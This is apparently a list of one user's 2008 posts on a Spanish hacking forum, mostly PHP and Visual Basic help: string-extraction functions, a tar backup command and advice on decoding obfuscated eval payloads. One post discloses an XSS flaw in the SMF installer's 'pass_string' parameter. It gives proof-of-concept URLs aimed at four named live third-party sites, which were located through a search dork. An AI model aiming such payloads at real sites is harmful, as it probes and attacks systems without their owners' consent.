Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WHK

#4281
separa con explode el string y la cifra por separado, modificas la cifra y lo unes nuevamente en una sola función y despues solo le das filtrar()

$filtro = explode(" ", $buffer);
$filtro[0] // = string
$filtro[1] // = cifra
#4282
PHP / Re: Pequeños trucos en PHP
17 Junio 2008, 00:19 AM
Hice una pequeña función que permite seleccionar lo que hay dentro de un string desde la palabra necesitada hasta la que finaliza...

Código (php) [Seleccionar]
<?php

function desde_hasta($desde$hasta$contenido){
 if(
eregi($desde ,$contenido)){
  
$retorno explode($desde$contenido);
  
$retorno $retorno[1];
  
$retorno explode($hasta$retorno);
  
$retorno $retorno[0];
  return 
$retorno;
 } else {
  return 
FALSE;
 }
}

?>


De esta forma ejecutas:
Código (php) [Seleccionar]
<?php
$contenido 
'tienes <a href="http://foro.elhacker.net/pm.html">111 mensajes</a>';
$cantidad_mensajes desde_hasta('tienes <a href="http://foro.elhacker.net/pm.html">''mensajes</a>'$contenido);
echo 
"Cantidad de mensajes: $cantidad_mensajes\n";
?>

Desbuelve:
CitarCantidad de mensajes: 111
#4283
prueba con un format(##) para que retorne 01,02 y así y despues ordenas.
O if($numero < 10){$prefix = "0";}return "$prefix$numero"; para que agregue el 0 si es de 1 cifra
#4284
PHP / Re: Coger lo que hay en medio
17 Junio 2008, 00:06 AM
Código (php) [Seleccionar]
<?php

function desde_hasta($desde$hasta$contenido){
 if(
eregi($desde ,$contenido)){
  
$retorno explode($desde$contenido);
  
$retorno $retorno[1];
  
$retorno explode($hasta$retorno);
  
$retorno $retorno[0];
  return 
$retorno;
 } else {
  return 
FALSE;
 }
}

?>

Debes ser lo mas especifico posible ya que solo debuelve la primera coincidencia, o sea.,.. si la misma coincidencia se repite mas de una ves debolverá solo la primera a menos que lo modifiques de retorno[1] a retorno[2], es mas... hasta puedes agregarlo como una variable extra :P
Código (php) [Seleccionar]
function desde_hasta($desde, $hasta, $contenido,$cantidad){...
Donde cantidad = $cantidad+1;
#4285
PHP / Re: ¿Como hago un backup?
16 Junio 2008, 23:40 PM
Código (php) [Seleccionar]
<?
//Comprime:
system("tar cvf ./backup.tar *");
//Descomprime:
system("tar xvf ./backup.tar");
?>


Ahora solo haces un dump a la db y listo.
#4286
PHP / Re: Fecha de creación de un archivo
16 Junio 2008, 23:36 PM
Si te da error en la fecha entonces no podrás repararlo con un código mas ni en php ni en htaccess ni nada de eso, debe haber una mala configuración en el servidor en el cual php no está reconociendo la fecha exacta... imprime un date() para ver que fecha te indica y con eso podrás saber la fecha del servidor, si te dice 1970 significa que hay que cambiarle la hora al la makina y si no eres root no podrás, si es un servidor arrendado debes enviarle un correo al administrador.
#4287
Citareval(gzinflate(base64_decode(urldecode("LXvHruPIt...........%2F8H"))));

Ponlo en
Citar$srtring = gzinflate(base64_decode(urldecode("LXvHruPIt...........%2F8H")));

Luego solo utilizas fopen y grabas el string dentro de un texto y listo ya que eval indica que se ejecutará el código tal como se escriba, en este caso tal como se descifre.

O mas fácil...
Citarecho htmlspecialchars(gzinflate(base64_decode(urldecode("LXvHruPIt...........%2F8H"))),ENT_QUOTES);

y con eso te escribirá lo que significa.
#4288
Nivel Web / XSS en el instalador de SMF
19 Mayo 2008, 00:24 AM
Curosiando unos minutos encontré algunos instaladores de smf y me di cuenta que la variable  pass_string tiene XSS en método GET.

POC:
http://casa.zimzum.es/smf/install.php?obgz=1&pass_string=<h1>WHK
http://www.evolutiv.eu/SMF/install.php?&obgz=1&pass_string=<h1>WHK
http://world-eyes.fr/smf/install.php?obgz=1&pass_string=<h1>WHK
http://www.pelusonas.com/foro/install.php?obgz=1&pass_string=<h1>WHK


Fuente:
http://www.google.cl/search?hl=es&q=allinurl%3Asmf+%2B+install.php

Salu2.
#4289
** dependencias!

Si instalas el visual basic 6 ya no tendrás tantos problemas con las ocx ya que se copian y se registran solas las más necesarias.

Si no encuentras una puedes ir a:
http://www.dll-files.com/search.php?s=DLL QUE NECESITAS

Otras veces las personas tienen la mala costumbre de utilizar controles que se encuentran adjunto al formulario sin ser registrados el cual al abrirse buscarán la ruta: %homepath%\path\*.OCX y obiamente no todos tenemos el mismo homepath y hay que modificarlo con el block de notas al proyecto ( eso pasa si te dice... "no se encuentra archivo ... bla bla bla.ocx en la ruta bla bla bla" esa ruta si no es la de tu directorio original entonces necesitas modificarlo.)
#4290
estuve buscando como modificar la mascara de un formulario y encontré muchas cosas como por ejemplo el vbskinner y el actskin4.ocx pero cuando necesito crear pequeños programas resulta muy molestoso incluir un chingo de librerías para un programa que pesa 100 kilos.

Intenté crear mis propios skins con controles de usuario pero de igual forma resulta un poco tedioso porque hay que modificar el formulario son bordes y pegar el control encima y es muy tedioso crear los botones.

Pensaba que talves habría alguna api o algo que me pudiera permitir manejar estos efectos visuales sin la necesidad de librerías extras, de esta forma solo necesitaría crear controles de usuario sin importar calcular tamaño del formulario ni nada.

Hay alguna fuente de actskin4.ocx o algo que me permita estudiar como hacerlo manualmente sin librerías extras?